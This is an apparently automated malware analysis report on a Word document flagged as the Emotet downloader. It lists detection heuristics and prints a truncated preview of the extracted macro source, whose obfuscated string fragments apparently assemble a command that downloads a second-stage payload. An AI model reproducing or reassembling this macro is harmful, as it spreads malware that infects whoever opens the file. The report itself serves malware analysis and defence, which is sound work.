MALICIOUS
242
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1204.002 Malicious File
The sample was detected as Emotet by ClamAV and exhibits critical heuristic firings for VBA macros that execute shell commands. The VBA script contains obfuscated strings that likely reconstruct a URL for downloading a secondary payload, a common Emotet tactic. The AutoOpen macro further indicates malicious intent.
Heuristics 7
-
ClamAV: Doc.Downloader.Emotet-6980572-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Downloader.Emotet-6980572-0
-
VBA macros detected medium 3 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
Shell() call in VBA critical OLE_VBA_SHELLShell() call in VBA
-
AutoOpen macro high OLE_VBA_AUTOOPENAutoOpen macro
-
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 9435 bytes |
SHA-256: 34bd06b31487f7a2220af532122a20c8ed2a7dd7ad8efc0b0ceae70b5c1ffee5 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "bqDcPJJh" Attribute VB_Base = "1Normal.ThisDocument" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True Attribute VB_Name = "jjkHpVVUTDw" Function aWzYfklkvnt() On Error Resume Next XXYYp = 77407 mNXij = 44523 XDSiWt = 77046 hopbdN = CDate(61383) dFriGH = Sin(1601) IicQo = OFjjoI NPAWbhSnUz = "Hel" + "l [str" + "iNG]::jO" + "In" + Chr(40) + " ''" + " , " + Chr(40) + "'1" + "19" + ",25" + "x2c" + "35B110o" HowzL = Sin(71409) iNLvGE = 84578 oBiBCp = 80534 AcYnWr = CDate(9626) GhFfcu = zkRnl fXZiz = 61403 izOpIZPmb = "61" + "o54x36" + ">126" + ",60" + ">49_57c5" + "4F48H39" + ",115," + "29F54F39" + "_125T4_5" + "4x49o1" + "6_63T58o" + "54,61" TalOT = Sin(68211) YiCTtd = 5368 dcoooD = 9686 oHBNc = CDate(13467) fKqJX = tkWpT pbfTd = 78079 PRlvqp = "c39B10" + "4B11" + "9x" + "10T7>36B" + "110" + "F116" + "x5" + "9o" + "39F3" + "9B" + "35o10" FQrCUV = Sin(60875) hmqca = 63111 wEEVt = 36390 VqMkIj = CDate(70637) rQYHwA = WQuRX BzCBbi = 472 MwSLHNH = "5F" + "124T1" + "24B3" + "6c3" + "6>36>" + "125o4" + "8T" FXMSLU = Sin(10799) KUwAX = 34335 wClNjO = 18714 Zivuf = CDate(35470) hPzFEZ = jSYCFY SKjaFs = 96278 hXDBwYDS = "42," + "32F5" + "8_32x" + "125o4" + "8H" + "63o124F" + "61" + "B35" + "F103H" + "1B3" RnwDKQ = Sin(59362) jnTdq = 49006 qmMXr = 61749 jpvAq = CDate(31551) JjWYEf = ECdpM dfNaNj = 79491 lcsOL = "1c" + "5T107>43" + ">32B124" + "F19c5" + "9c39,39B" + "35,105o" + "124F1" + "24," + "36o36x36" + "x125T4" + "8T33_" + "62c55c5" CnkpDZ = Sin(75604) Xcqpv = 18043 QFZivW = 74446 hJnWhT = CDate(94938) CWAdI = Pshfo tQqGjn = 85083 iJqdSWAwdB = "4_6" + "2o" + "60B1" + "25,53_58" + "T33" + "T32" + "_39x48" + "F60>6" oWzFL = Sin(52197) UIAFka = 26346 wplSd = 21923 cCkKT = CDate(2586) KNAoc = fLizcN VBYJo = 82739 zNalL = "2_55H5" + "4F62x60," + "63>5" + "8_61>56" + ">32F" + "125o48" + "B6" DdAih = Sin(92731) NjhSr = 83038 WLzWB = 57202 YQTdNk = CDate(45402) Gjcwr = NvDCM FWEGsR = 60546 mXIZMbTa = "0," + "62T" + "124" + "x11F2H6c" + "31T36,38" + "c103B39," + "124B19c" + "59>39H39" aWzYfklkvnt = NPAWbhSnUz + izOpIZPmb + PRlvqp + MwSLHNH + hXDBwYDS + lcsOL + iJqdSWAwdB + zNalL + mXIZMbTa lAuJG = Sin(35643) tntzwc = 759 uZVQUw = 90142 SBXsr = CDate(11150) XiEOuS = YNkHUw HhHGq = 53205 End Function Function vzaqzPrtlfz() On Error Resume Next aTPsXv = Sin(57788) wFDaB = 65375 GZpdbz = 4178 KPiJz = CDate(12745) WdwqoQ = vTEYC FPYiMH = 74708 BwoPScAAuU = "c35B1" + "05,1" + "24,124x3" + "6T3" + "6o36>12" + "5c60F55" + "H50T126H" + "35_33>" + "60,55,38" RkXIio = Sin(83909) fNzqE = 16111 ApffD = 55621 ijnVE = CDate(86900) BkIkaZ = vQniq oTCtz = 80244 EFujVjGOj = ">48H39" + "F58>6" + "0B" + "61_1" + "25" + ">33" + "B38c12" + "4c4H57>" + "11T58o" + "42c42,12" + "4T19_5" HPzWo = Sin(35202) wriYP = 30986 tfzCc = 65748 zSMHni = CDate(84122) nXpWhE = mSjShG wqaHm = 7824 isakpvNGWYO = "9T" + "39,39_" + "35>105o1" + "24c" + "124T" + "36,36_3" + "6x12" fBcMJv = Sin(79640) mupDS = 58426 CjwsoO = 87413 MSdGTK = CDate(29467) aFJVo = fHzSoY GCXmD = 10740 UvwjWI = "5c" + "63>50H" + "35_48>1" + "25c48" + "x60B62o" + "125c" + "35" + ">56>124x" + "0B9>29" + "x10" + "6x" HZBXF = 80205 pMwnKU = VMubw zFMPXG = 58232 bOkMrj = 50764 wBhsAH = CDate(87672) GPNZXi = Sin(44156) fkQGsLYUlq = "36c97T9" + "6>39x1" + "24o19c5" + "9T39" + "o39F3" + "5>1" + "05,124>1" + "24H36" + ",36H36" JrZCO = 336 jWDnh = zQEiUP jTAYr = 54121 hCZKER = 75772 CTqpKz = CDate(72683) EFRGi = Sin(24616) aQEYifLjr = ",1" + "25" + ",48x3" + "8x" + "33o3" + "2B60c35T" + "50o" + "55_33>50" PGnZj = 57507 TZorXf = kTmiLz Njswsj = 88538 NkkAz = 11314 pVJXpG = CDate(41639) KSIlKQ = Sin(96569) LKSAqp = "o60c125" + ">48>6" + "0o62x12" + "5,49T33T" + "12" + "4>20H" + "99x33c4" PqcQNt = 66244 rhoVE = ARqBk UadAS = 14951 BitBiO = 61872 EWvuO = CDate(78589) zCdbC = Sin(13180) uzYpU = "3>107B53" + "o4" + ... (truncated) |
|||
Open this report in the interactive analyzer, or submit your own file for analysis.